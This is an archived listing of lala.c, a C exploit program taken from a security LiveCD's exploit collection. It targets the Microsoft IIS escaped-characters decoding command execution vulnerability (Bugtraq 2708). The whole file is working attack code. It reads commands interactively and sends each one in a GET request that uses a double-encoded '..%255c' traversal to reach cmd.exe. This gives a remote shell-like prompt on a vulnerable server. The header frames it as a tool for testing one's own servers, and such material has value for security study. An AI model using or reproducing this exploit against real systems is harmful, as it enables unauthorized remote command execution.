home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / lala.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  125 lines

  1. /*  lalaiis.c
  2.     (or Microsoft IIS/PWS Escaped Characters Decoding Command Execution
  3.         Vulnerability) 
  4.    
  5.    Bugtraq id: 2708 
  6.  
  7.    It gives you a "shell-like" environment to test your IIS servers
  8.    Coded by MovAX <movax@softhome.et>
  9.    Greetz to: lala, HeH! Magazine staff <http://www.dtmf.com.ar/digitalrebel>
  10.    Fuckz to: Feel free to add your handle to this section.
  11.  
  12. */
  13.  
  14.  
  15. #include <stdio.h>
  16. #include <netdb.h>
  17. #include <stdlib.h>
  18. #include <string.h>
  19. #include <sys/socket.h>
  20. #include <sys/types.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23. #include <signal.h>
  24. #include <errno.h>
  25. #include <fcntl.h>
  26.  
  27. void usage(void) 
  28. {
  29.  fprintf(stderr, "\nusage: ./lalaiis website> vulnerable_directory");
  30.  fprintf(stderr, "\nwhere vulnerable_directory can be any 'scriptable' dir (like scripts msadc)");
  31.  fprintf(stderr, "\nex: ./lalaiis www.foo.bar scripts\n");
  32.  exit(-1);
  33. }
  34.  
  35. int main(int argc, char **argv) 
  36. {
  37.  int i, le_socket, le_connect_error, le_timeout ;
  38.  int timeout=80;
  39.  int port=80;
  40.  char temp[1];
  41.  char host[512]=""; 
  42.  char command[1024]="";
  43.  char request[8192]="GET /";
  44.  struct hostent *he;
  45.  struct sockaddr_in s_addr;
  46.  
  47.  printf(":: lalaiis.c exploit. Coded by MovAX\n");
  48.  
  49.  if (argc < 3)
  50.     usage();
  51.     
  52.  strncpy(host, argv[1], sizeof(host));
  53.  
  54.  if(!strcmp(host, "")) 
  55.     {
  56.      fprintf(stderr, "put a damn server\n");
  57.      usage();
  58.     }
  59.  
  60.  printf("\n:: Destination host > %s:%d\n", host, port);
  61.  
  62.  
  63.  if((he=gethostbyname(host)) == NULL) 
  64.     {
  65.       fprintf(stderr, "put a damn VALID server\n");
  66.      usage();
  67.     }
  68.  
  69. for (;;)
  70. {
  71.           command[0]=0;
  72.           printf("\nlala_shell> ");
  73.           if(fgets(command, sizeof(command), stdin) == NULL)
  74.                 perror("gets"); 
  75.           command[strlen(command)-1]='\0';
  76.           if(!strcmp("logout", command))
  77.                 exit(-1);
  78.  
  79.       for(i=0;i<strlen(command);i++) 
  80.          {if(command[i]==' ')
  81.               command[i]='+';
  82.          }
  83.  
  84.      strncpy(request, "GET /", sizeof(request));
  85.          strncat(request, argv[2], sizeof(request) - strlen(request));
  86.          strncat(request, "/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+", sizeof(request) - strlen(request));
  87.       strncat(request, command, sizeof(request) - strlen(request));
  88.      strncat(request, " HTTP/1.1\n", sizeof(request) - strlen(request));
  89.      strncat(request, "host:" ,sizeof(request) - strlen(request));
  90.      strncat(request, argv[1], sizeof(request) - strlen(request));    
  91.       strncat(request, "\n\n", sizeof(request) - strlen(request));
  92.  
  93.      s_addr.sin_family = AF_INET;
  94.       s_addr.sin_port = htons(port);
  95.       memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, 
  96.          sizeof(s_addr.sin_addr));    
  97.  
  98.       if((le_socket=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) 
  99.          {
  100.            perror("socket\n");
  101.            exit(-1);
  102.          }
  103.       alarm(le_timeout);
  104.       le_connect_error = connect(le_socket,(struct sockaddr *)&s_addr,sizeof(s_addr));
  105.       alarm(0);
  106.      
  107.       if(le_connect_error==-1) 
  108.          {
  109.            perror("connect");
  110.            exit(-1);
  111.            close(le_socket);
  112.          }
  113.          
  114.       send(le_socket, request, strlen(request), 0);
  115.       while(recv(le_socket,temp,1, 0)>0) 
  116.          {
  117.                alarm(timeout);
  118.            printf("%c", temp[0]);
  119.                alarm(0);
  120.          }    
  121. }
  122.   close(le_socket);    
  123.   return 0;
  124. }
  125.